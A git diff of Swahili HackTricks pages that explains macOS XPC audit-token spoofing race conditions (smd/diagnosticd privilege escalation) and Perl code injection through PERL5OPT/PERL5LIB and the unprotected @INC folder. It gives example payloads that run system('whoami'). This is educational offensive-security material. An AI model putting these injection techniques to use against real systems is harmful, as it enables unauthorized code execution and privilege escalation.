* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -2,110 +2,134 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalam wa juu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kwa habari zaidi angalia chapisho asili: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)**. Hii ni muhtasari:
**Kwa habari zaidi angalia chapisho la asili:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Hii ni muhtasari:
## Taarifa Msingi za Ujumbe wa Mach
## Habari Msingi kuhusu Mach Messages
Ikiwa haujui ni nini Mach Messages, anza kwa kuangalia ukurasa huu:
Ikiwa haujui ni nini Ujumbe wa Mach angalia ukurasa huu:
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
Kwa sasa kumbuka kuwa ([ufafanuzi kutoka hapa](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach messages hutumwa kupitia _mach port_, ambayo ni **njia ya mawasiliano ya mpokeaji mmoja, watumaji wengi** iliyojengwa ndani ya kernel ya mach. **Mchakato mmoja unaweza kutuma ujumbe** kwenye mach port, lakini wakati wowote **mchakato mmoja tu unaweza kusoma kutoka kwake**. Kama vile file descriptors na sockets, mach ports zinatengwa na kusimamiwa na kernel na michakato huona nambari tu, ambayo wanaweza kutumia kuonyesha kernel ni mach ports yao wanayotaka kutumia.
Kwa sasa kumbuka ([ufafanuzi kutoka hapa](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Ujumbe wa Mach unatumwa juu ya _mach port_, ambayo ni **mpokeaji mmoja, watoaji wengi wa mawasiliano** iliyojengwa ndani ya kernel ya mach. **Michakato mingi inaweza kutuma ujumbe** kwa mach port, lakini wakati wowote **mpokeaji mmoja tu anaweza kusoma kutoka kwake**. Kama vile vitambulisho vya faili na soketi, mach ports zinatengwa na kusimamiwa na kernel na michakato huona nambari ya nambari, ambayo wanaweza kutumia kuashiria kernel ni mach ports yao wanataka kutumia.
## XPC Connection
## Uunganisho wa XPC
Ikiwa haujui jinsi uhusiano wa XPC unavyoundwa, angalia:
Ikiwa haujui jinsi uhusiano wa XPC unavyoundwa angalia:
{% content-ref url="../" %}
[..](../)
{% endcontent-ref %}
## Muhtasari wa Kuziba
## Muhtasari wa Udhaifu
Jambo linalovutia kujua ni kwamba **uhusiano wa XPC ni uhusiano wa mtu-mmoja-kwa-mtu-mmoja**, lakini unategemea teknolojia ambayo **inaweza kuwa na watumaji wengi, kwa hivyo:**
Jambo linalovutia kujua ni kwamba **kuhakikisha ya XPC ni uhusiano wa moja kwa moja**, lakini inategemea teknolojia ambayo **inaweza kuwa na watoaji wengi, hivyo:**
* Mach ports ni mpokeaji mmoja, **watumaji wengi**.
* Kitambulisho cha ukaguzi wa uhusiano wa XPC ni kitambulisho cha ukaguzi **kimekopwa kutoka kwa ujumbe uliopokelewa hivi karibuni zaidi**.
* Kupata **kitambulisho cha ukaguzi** wa uhusiano wa XPC ni muhimu kwa ukaguzi wa usalama nyingi.
* Mach ports ni mpokeaji mmoja, **watoaji wengi**.
* Audit token ya uhusiano wa XPC ni token ya ukaguzi wa **iliyochukuliwa kutoka ujumbe uliopokelewa hivi karibuni zaidi**.
* Kupata **audit token** ya uhusiano wa XPC ni muhimu kwa **uchunguzi wa usalama** mengi.
Ingawa hali iliyotangulia inasikika kuahidi, kuna hali ambapo hii haitasababisha matatizo ([kutoka hapa](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
Ingawa hali iliyopita inaonekana kuahidi kuna hali ambapo hii haitasababisha matatizo ([kutoka hapa](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Vitambulisho vya ukaguzi mara nyingi hutumiwa kwa ukaguzi wa idhini ili kuamua ikiwa kukubali uhusiano. Kwa kuwa hii inatokea kwa kutumia ujumbe kwenye bandari ya huduma, **hakuna uhusiano ulioanzishwa bado**. Ujumbe zaidi kwenye bandari hii utashughulikiwa kama maombi ya uhusiano ya ziada. Kwa hivyo, **ukaguzi kabla ya kukubali uhusiano hautakuwa na udhaifu** (hii pia inamaanisha kuwa ndani ya `-listener:shouldAcceptNewConnection:` kitambulisho cha ukaguzi ni salama). Kwa hivyo, **tunatafuta uhusiano wa XPC ambao unathibitisha hatua maalum**.
* Wachanganuzi wa tukio la XPC hushughulikiwa kwa usawazishaji. Hii inamaanisha kuwa mchanganuzi wa tukio kwa ujumbe mmoja lazima ukamilike kabla ya kuita kwa ujumbe unaofuata, hata kwenye foleni za kutuma wakati huo huo. Kwa hivyo ndani ya **mchanganuzi wa tukio la XPC kitambulisho cha ukaguzi hakiwezi kuandikwa tena** na ujumbe wa kawaida (sio majibu!) mengine.
* Tokeni za ukaguzi mara nyingi hutumiwa kwa ukaguzi wa idhini kuamua ikiwa kukubali uhusiano. Kwa kuwa hii inatokea kwa kutumia ujumbe kwa bandari ya huduma, **hakuna uhusiano ulioanzishwa bado**. Ujumbe zaidi kwenye bandari hii utashughulikiwa kama maombi ya uhusiano ya ziada. Kwa hivyo **uchunguzi kabla ya kukubali uhusiano sio hatarini** (hii pia inamaanisha kuwa ndani ya `-listener:shouldAcceptNewConnection:` tokeni ya ukaguzi ni salama). Kwa hivyo tuna **tafuta uhusiano wa XPC ambao huthibitisha hatua maalum**.
* Wachambuzi wa matukio ya XPC hushughulikiwa kwa usawazishaji. Hii inamaanisha kuwa mchambuzi wa tukio kwa ujumbe mmoja lazima ukamilike kabla ya kuita kwa mwingine, hata kwenye foleni za kutuma wakati mmoja. Kwa hivyo ndani ya **mchambuzi wa tukio la XPC tokeni ya ukaguzi haiwezi kubadilishwa** na ujumbe wa kawaida (si majibu!) mwingine.
Kuna njia mbili tofauti ambazo hii inaweza kudukuliwa:
Kuna njia mbili tofauti ambazo hii inaweza kutumika:
1. Variant1:
* **Kudukua** **kuunganisha** kwa huduma **A** na huduma **B**
* Huduma **B** inaweza kuita **kazi yenye mamlaka** katika huduma A ambayo mtumiaji hawezi
* Huduma **A** inaita **`xpc_connection_get_audit_token`** wakati _**si**_ ndani ya **mchanganuzi wa tukio** kwa uhusiano katika **`dispatch_async`**.
* Kwa hivyo ujumbe **tofauti** unaweza **kuandika upya Kitambulisho cha Ukaguzi** kwa sababu inatumiwa kwa njia ya kusambazwa kwa asynchronously nje ya mchanganuzi wa tukio.
* Kudukua inapitisha kwa huduma **B haki ya KUTUMA kwa huduma A**.
* Kwa hivyo svc **B** itakuwa kweli **inatuma** **ujumbe** kwa huduma **A**.
* Kudukua inajaribu **kuita** **hatua yenye mamlaka.** Katika RC svc **A inakagua** idhini ya **hatua** hii wakati **svc B imeandika upya Kitambulisho cha Ukaguzi** (ikitoa kudukua upatikanaji wa kuita hatua yenye mamlaka).
* **Kudukua** kunajumuisha kuunganisha huduma **A** na huduma **B**
* Huduma **B** inaweza kuita **kazi ya kipekee** katika huduma **A** ambayo mtumiaji hawezi
* Huduma **A** inaita **`xpc_connection_get_audit_token`** wakati _**si**_ ndani ya **mchambuzi wa tukio** kwa uhusiano katika **`dispatch_async`**.
* Kwa hivyo **ujumbe tofauti unaweza kubadilisha Audit Token** kwa sababu inatuma kwa njia ya asinkronasi nje ya mchambuzi wa tukio.
* Kudukua inapitisha **huduma B haki ya KUTUMA kwa huduma A**.
* Kwa hivyo svc **B** itakuwa **kutuma** **ujumbe** kwa huduma **A**.
* Kudukua inajaribu **kuita** **hatua ya kipekee.** Katika RC svc **A** **huthibitisha** idhini ya **hatua** hii wakati **svc B imebadilisha Tokeni ya Ukaguzi** (ikimpa kudukua upatikanaji wa kuita hatua ya kipekee).
2. Variant 2:
* Huduma **B** inaweza kuita **kazi yenye mamlaka** katika huduma A ambayo mtumiaji hawezi
* Kudukua inaunganisha na huduma **A** ambayo **inatuma** kudukua **ujumbe unaotarajia majibu** kwenye **bandari ya majibu** maalum.
* Kudukua inatuma huduma
4. Hatua inayofuata inahusisha kuiagiza `diagnosticd` kuanzisha ufuatiliaji wa mchakato uliochaguliwa (labda mchakato wa mtumiaji mwenyewe). Kwa wakati huo huo, mafuriko ya ujumbe wa kawaida wa 1004 yanatumwa kwa `smd`. Lengo hapa ni kusakinisha zana yenye mamlaka ya juu.
5. Hatua hii inasababisha hali ya ushindani ndani ya kazi ya `handle_bless`. Wakati ni muhimu: wito wa kazi ya `xpc_connection_get_pid` lazima urejeshe PID ya mchakato wa mtumiaji (kwa kuwa zana yenye mamlaka ya juu iko katika mfuko wa programu ya mtumiaji). Walakini, wito wa kazi ya `xpc_connection_get_audit_token`, hasa ndani ya subroutine ya `connection_is_authorized`, lazima irejelee alama ya ukaguzi inayomilikiwa na `diagnosticd`.
* Huduma **B** inaweza kuita **kazi ya kipekee** katika huduma **A** ambayo mtumiaji hawezi
* Kudukua inaunganisha na **huduma A** ambayo **inatuma** kudukua ujumbe ukitarajia majibu katika **bandari ya majibu** maalum.
* Kudukua inatuma huduma **B** ujumbe ukipitisha **ile bandari ya majibu**.
* Wakati huduma **B inajibu**, inatuma ujumbe kwa huduma **A**, **wakati** kudukua inatuma ujumbe tofauti kwa huduma **A** kujaribu **kufikia kazi ya kipekee** na kutarajia majibu kutoka kwa huduma B itabadilisha Tokeni ya Ukaguzi katika wakati kamili (Hali ya Mashindano).
## Variant 2: kuhamisha majibu
## Variant 1: kuita xpc\_connection\_get\_audit\_token nje ya mchambuzi wa tukio <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Katika mazingira ya XPC (Mawasiliano kati ya Mchakato), ingawa wakurugenzi wa tukio hawatekelezi kwa wakati mmoja, kushughulikia ujumbe wa majibu kuna tabia ya pekee. Kwa usahihi, kuna njia mbili tofauti za kutuma ujumbe ambao unatarajia majibu:
Hali:
1. **`xpc_connection_send_message_with_reply`**: Hapa, ujumbe wa XPC unapokelewa na kusindika kwenye foleni iliyotengwa.
2. **`xpc_connection_send_message_with_reply_sync`**: Kinyume chake, katika njia hii, ujumbe wa XPC unapokelewa na kusindika kwenye foleni ya sasa ya utekelezaji.
* Huduma mbili za mach **`A`** na **`B`** ambazo tunaweza kuunganisha (kulingana na wasifu wa sanduku la mchanga na ukaguzi kabla ya kukubali uhusiano).
* _**A**_ lazima awe na **ukaguzi wa idhini** kwa hatua maalum ambayo **`B`** inaweza kupitisha (lakini programu yetu haiwezi).
* Kwa mfano, ikiwa B ana **haki za kipekee** au inaendeshwa kama **root**, inaweza kumruhusu kuuliza A kutekeleza hatua ya kipekee.
* Kwa ukaguzi huu wa idhini, **`A`** inapata tokeni ya ukaguzi kwa njia ya asinkronasi, kwa mfano kwa kuita `xpc_connection_get_audit_token` kutoka **`dispatch_async`**.
Tofauti hii ni muhimu kwa sababu inaruhusu uwezekano wa **pakiti za majibu kuchambuliwa kwa wakati mmoja na utekelezaji wa kiongozi wa tukio la XPC**. Hasa, wakati `_xpc_connection_set_creds` inatekeleza kufunga ili kulinda dhidi ya kuandika sehemu ya alama ya ukaguzi, haifanyi ulinzi huu kwa kitu cha uhusiano kizima. Kwa hivyo, hii inaunda udhaifu ambapo alama ya ukaguzi inaweza kubadilishwa wakati wa kipindi kati ya kuchambua kwa pakiti na utekelezaji wa kiongozi wa tukio lake.
{% hint style="danger" %}
Katika kesi hii, mshambuliaji anaweza kuanzisha **Hali ya Mashindano** kufanya **kudukua** ambayo **inaomba A kutekeleza hatua** mara kadhaa wakati **B inatuma ujumbe kwa `A`**. Wakati RC inafanikiwa, **tokeni ya ukaguzi** ya **B** itakopiwa kwenye kumbukumbu **wakati** ombi la **kudukua** letu linashughulikiwa na A, ikimpa **upatikanaji wa hatua ya kipekee ambayo B pekee angeweza kuomba**.
{% endhint %}
Kuutumia udhaifu huu, usanidi ufuatao unahitajika:
Hii ilitokea na **`A`** kama `smd` na **`B`** kama `diagnosticd`. Kazi [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) kutoka smb inaweza kutumika kufunga zana mpya ya msaidizi wa kipekee (kama **root**). Ikiwa **mchakato unaoendeshwa kama root** unawasiliana na **smd**, hakuna ukaguzi mwingine utafanywa.
- Huduma mbili za mach, zinazojulikana kama **`A`** na **`B`**, zote ambazo zinaweza kuanzisha uhusiano.
- Huduma **`A`** inapaswa kuwa na ukaguzi wa idhini kwa hatua maalum ambayo **`B`** tu inaweza kutekeleza (programu ya mtumiaji haiwezi).
- Huduma **`A`** inapaswa kutuma ujumbe ambao unatarajia majibu.
- Mtumiaji anaweza kutuma ujumbe kwa **`B`** ambao itajibu.
Kwa hivyo, huduma **B** ni **`diagnosticd`** kwa sababu inaendeshwa kama **root** na inaweza kutumika kufuatilia mchakato, kwa hivyo mara tu ufuatiliaji unapoanza, itatuma **ujumbe zaidi ya moja kwa sekunde.**
Mchakato wa kuutumia udhaifu huu unajumuisha hatua zifuatazo:
Kufanya shambulizi:
1. Subiri huduma **`A`** itume ujumbe ambao unatarajia majibu.
1. Anzisha **uunganisho** kwa huduma iliyoitwa `smd` kwa kutumia itifaki ya XPC ya kawaida.
2. Unda **uunganisho wa pili** kwa `diagnosticd`. Tofauti na utaratibu wa kawaida, badala ya kuunda na kutuma machapisho mawili mapya, haki ya kutuma ya bandari ya mteja inabadilishwa na nakala ya **haki ya kutuma** inayohusishwa na uhusiano wa `smd`.
3. Kama matokeo, ujumbe wa XPC unaweza kutumwa kwa `diagnosticd`, lakini majibu kutoka kwa `diagnosticd` yanaelekezwa tena kwa `smd`. Kwa `smd`, inaonekana kana kwamba ujumbe kutoka kwa mtumiaji na `diagnosticd` unatoka kwa uhusiano mmoja.
![Picha inayoonyesha mchakato wa kudukua](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Hatua inayofuata ni kuagiza `diagnosticd` kuanzisha ufuatiliaji wa mchakato uliochaguliwa (labda wa mtumiaji mwenyewe). Kwa wakati huo huo, mafuriko ya ujumbe wa kawaida wa 1004 hutumwa kwa `smd`. Lengo hapa ni kusakinisha chombo chenye mamlaka ya juu.
5. Hatua hii inachochea hali ya mashindano ndani ya kazi ya `handle_bless`. Wakati ni muhimu: wito wa kazi ya `xpc_connection_get_pid` lazima irudishe PID ya mchakato wa mtumiaji (kwa kuwa chombo cha mamlaka kiko kwenye mfuko wa programu ya mtumiaji). Walakini, kazi ya `xpc_connection_get_audit_token`, kwa kina ndani ya subroutine ya `connection_is_authorized`, lazima itaje alama ya ukaguzi inayomilikiwa na `diagnosticd`.
## Tofauti 2: kusonga majibu
Katika mazingira ya XPC (Mawasiliano kati ya Mchakato), ingawa wakusanyaji wa matukio hawatekelezi kwa wakati mmoja, kushughulikia ujumbe wa majibu kuna tabia ya kipekee. Kwa kina, kuna njia mbili tofauti za kutuma ujumbe ambao unatarajia majibu:
1. **`xpc_connection_send_message_with_reply`**: Hapa, ujumbe wa XPC unapokelewa na kusindika kwenye foleni iliyoteuliwa.
2. **`xpc_connection_send_message_with_reply_sync`**: Kinyume chake, kwa njia hii, ujumbe wa XPC unapokelewa na kusindika kwenye foleni ya kutolewa ya sasa.
Tofauti hii ni muhimu kwa sababu inaruhusu uwezekano wa **pakiti za majibu kuchambuliwa kwa wakati mmoja na utekelezaji wa kusindika kwa tukio la XPC**. Hasa, wakati `_xpc_connection_set_creds` inatekeleza kufunga ili kulinda dhidi ya kubadilisha sehemu ya alama ya ukaguzi, haiongezi ulinzi huu kwa kitu cha uhusiano mzima. Kwa hivyo, hii inaunda udhaifu ambapo alama ya ukaguzi inaweza kubadilishwa wakati wa kipindi kati ya kuchambua kwa pakiti na utekelezaji wa kusindika tukio lake.
Kutumia udhaifu huu, usanidi ufuatao unahitajika:
* Huduma mbili za mach, zinazojulikana kama **`A`** na **`B`**, zote ambazo zinaweza kuanzisha uhusiano.
* Huduma **`A`** inapaswa kujumuisha ukaguzi wa idhini kwa hatua maalum ambayo **`B`** pekee inaweza kutekeleza (programu ya mtumiaji hawezi).
* Huduma **`A`** inapaswa kutuma ujumbe ambao unatarajia majibu.
* Mtumiaji anaweza kutuma ujumbe kwa **`B`** ambao itajibu.
Mchakato wa kutumia udhaifu huu unajumuisha hatua zifuatazo:
1. Subiri huduma **`A`** itume ujumbe unaotarajia majibu.
2. Badala ya kujibu moja kwa moja kwa **`A`**, bandari ya majibu inatekwa na kutumika kutuma ujumbe kwa huduma **`B`**.
3. Kisha, ujumbe unaohusisha hatua iliyokatazwa unatumwa, ukitarajia kwamba utasindika kwa wakati mmoja na majibu kutoka kwa **`B`**.
3. Kisha, ujumbe unaohusisha hatua iliyozuiwa unatuma, ukitarajia kwamba utasindika kwa wakati mmoja na jibu kutoka kwa **`B`**.
Hapa chini ni uwakilishi wa kielelezo wa senario ya shambulio iliyoelezwa:
Hapa chini ni uwakilishi wa picha wa mazingira ya shambulio yaliyoelezwa:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Matatizo ya Ugunduzi
- **Vikwazo katika Kupata Mifano**: Kutafuta mifano ya matumizi ya `xpc_connection_get_audit_token` ilikuwa changamoto, kwa njia za kistatiki na za kudumu.
- **Njia ya Utafiti**: Frida iliotumika kufunga kazi ya `xpc_connection_get_audit_token`, ikichuja wito usiotoka kwa wakurugenzi wa tukio. Walakini, njia hii ilikuwa imepunguzwa kwa mchakato uliofungwa na ilihitaji matumizi ya kazi hiyo.
- **Zana za Uchambuzi**: Zana kama IDA/Ghidra zilitumika kuchunguza huduma za mach zinazoweza kufikiwa, lakini mchakato ulikuwa wa muda mrefu, uliogumuza na wito unaohusisha hifadhi ya pamoja ya dyld.
- **Vikwazo vya Ufundi**: Jaribio la kuandika skripti ya uchambuzi kwa wito wa `xpc_connection_get_audit_token` kutoka kwa vitengo vya `dispatch_async` lilikwamishwa na ugumu wa kuchambua vitengo na mwingiliano na hifadhi ya pamoja ya dyld.
* **Vikwazo katika Kutambua Mifano**: Kutafuta mifano ya matumizi ya `xpc_connection_get_audit_token` ilikuwa changamoto, kwa njia ya kudumu na kwa njia ya kudumu.
* **Mbinu**: Frida iliotumika kufunga kazi ya `xpc_connection_get_audit_token`, ikichuja wito usiotoka kwa wakusanyaji wa matukio. Walakini, njia hii ilikuwa imezuiliwa kwa mchakato uliofungwa na ilihitaji matumizi ya moja kwa moja.
* **Zana za Uchambuzi**: Zana kama IDA/Ghidra zilitumika kuchunguza huduma za mach zinazoweza kufikiwa, lakini mchakato ulichukua muda mrefu, uliogumuza na wito unaojumuisha hifadhi iliyoshirikiwa ya dyld.
* **Vikwazo vya Uandishi wa Script**: Jaribio la kuandika skripti ya uchambuzi kwa wito wa `xpc_connection_get_audit_token` kutoka kwa vitengo vya `dispatch_async` vilizuiliwa na ugumu katika kuchambua vitengo na mwingiliano na hifadhi iliyoshirikiwa ya dyld.
## Suluhisho <a href="#the-fix" id="the-fix"></a>
## Marekebisho <a href="#the-fix" id="the-fix"></a>
- **Masuala Yaliyoripotiwa**: Ripoti ilipelekwa kwa Apple ikielezea masuala ya jumla na maalum yaliyopatikana ndani ya `smd`.
- **Jibu la Apple**: Apple ilishughulikia suala hilo katika `smd` kwa kubadilisha `xpc_connection_get_audit_token` na `xpc_dictionary_get_audit_token`.
- **Asili ya Suluhisho**: Kazi ya `xpc_dictionary_get_audit_token` inachukuliwa kuwa salama kwani inapata alama ya ukaguzi moja kwa moja kutoka kwa ujumbe wa mach unaohusiana na ujumbe wa XPC uliopokelewa. Walakini, haipo katika API ya umma, kama vile `xpc_connection_get_audit_token`.
- **Ukosefu wa Suluhisho Pana**: Bado haijulikani kwa nini Apple haikutekeleza suluhisho pana zaidi, kama vile kutupa ujumbe ambao haufanani na alama ya ukaguzi iliyohifadhiwa ya uhusiano. Uwezekano wa mabadiliko halali ya alama ya ukaguzi katika hali fulani (kwa mfano, matumizi ya `setuid`) inaweza kuwa sababu.
- **Hali ya Sasa**: Tatizo linaendelea katika iOS 17 na macOS 14, likiwa changamoto kwa wale wanaotafuta kuligundua na kulielewa.
* **Masuala Yaliyoripotiwa**: Ripoti ilipelekwa kwa Apple ikielezea masuala ya jumla na maalum yaliyopatikana ndani ya `smd`.
* **Jibu la Apple**: Apple ilishughulikia suala hilo katika `smd` kwa kubadilisha `xpc_connection_get_audit_token` na `xpc_dictionary_get_audit_token`.
* **Asili ya Marekebisho**: Kazi ya `xpc_dictionary_get_audit_token` inachukuliwa kuwa salama kwani inapata alama ya ukaguzi moja kwa moja kutoka kwa ujumbe wa mach uliounganishwa na ujumbe wa XPC uliopokelewa. Walakini, sio sehemu ya API ya umma, kama `xpc_connection_get_audit_token`.
* **Ukosefu wa Marekebisho Kamili**: Bado haijulikani kwa nini Apple haikutekeleza marekebisho kamili zaidi, kama kutupa ujumbe usioendana na alama ya ukaguzi iliyohifadhiwa ya uhusiano. Uwezekano wa mabadiliko halali ya alama ya ukaguzi katika hali fulani (k.m., matumizi ya `setuid`) inaweza kuwa sababu.
* **Hali ya Sasa**: Suala hili linaendelea kuwepo katika iOS 17 na macOS 14, likiwa changamoto kwa wale wanaotafuta kulitambua na kulielewa.

View file

@ -1,4 +1,4 @@
# Uingizaji wa Programu za Perl kwenye macOS
# Uingizaji wa Maombi ya Perl kwenye macOS
<details>
@ -6,18 +6,18 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Kupitia `PERL5OPT` & `PERL5LIB` env variable
Kwa kutumia kipengele cha mazingira PERL5OPT, inawezekana kufanya perl itekeleze amri za kiholela.\
Kwa mfano, tengeneza skripti hii:
Kwa kutumia mazingira ya env PERL5OPT inawezekana kufanya perl itekeleze amri za kupotosha.\
Kwa mfano, unda script hii:
{% code title="test.pl" %}
```perl
@ -26,12 +26,12 @@ print "Hello from the Perl script!\n";
```
{% endcode %}
Sasa **tuma nje ya mazingira ya env** na tekeleza **perl** hati:
Sasa **tengeneza mazingira ya env** na tekeleza skripti ya **perl**:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
Chaguo lingine ni kuunda moduli ya Perl (kwa mfano, `/tmp/pmod.pm`):
Chaguo lingine ni kuunda moduli ya Perl (k.m. `/tmp/pmod.pm`):
{% code title="/tmp/pmod.pm" %}
```perl
@ -42,13 +42,13 @@ system('whoami');
```
{% endcode %}
Na kisha tumia mazingira ya mazingira:
Na kisha tumia mazingira ya env:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## Kupitia tegemezi
## Kupitia mahitaji
Inawezekana kuorodhesha folda za tegemezi kwa utaratibu wa Perl unaofanya kazi:
Inawezekana kuorodhesha folda za mahitaji kwa utaratibu wa Perl unaoendeshwa:
```bash
perl -e 'print join("\n", @INC)'
```
@ -64,30 +64,16 @@ Ambayo itarudisha kitu kama:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Baadhi ya folda zilizorudishwa hazipo hata, hata hivyo, **`/Library/Perl/5.30`** ipo **hali halisi**, haikilindwa na **SIP** na iko **mbele ya** folda zilizolindwa na SIP. Kwa hiyo, mtu anaweza kutumia folda hiyo kuongeza dependensi za skrini ili skrini ya Perl yenye mamlaka ya juu iweze kuzipakia.
Baadhi ya folda zilizorudishwa hazipo, hata hivyo, **`/Library/Perl/5.30`** ipo, haijalindwa na **SIP** na iko **kabla** ya folda zilizolindwa na SIP. Kwa hivyo, mtu anaweza kutumia folda hiyo kuongeza mahitaji ya script ili script ya Perl yenye mamlaka makubwa iweze kuijumuisha.
{% hint style="warning" %}
Hata hivyo, kumbuka kwamba **unahitaji kuwa na ruhusa ya msingi kuandika kwenye folda hiyo** na siku hizi utapata **kielelezo cha TCC** hiki:
Hata hivyo, kumbuka kwamba **unahitaji kuwa na ruhusa ya msingi kuandika kwenye folda hiyo** na siku hizi utapata **ombi la TCC** hili:
{% endhint %}
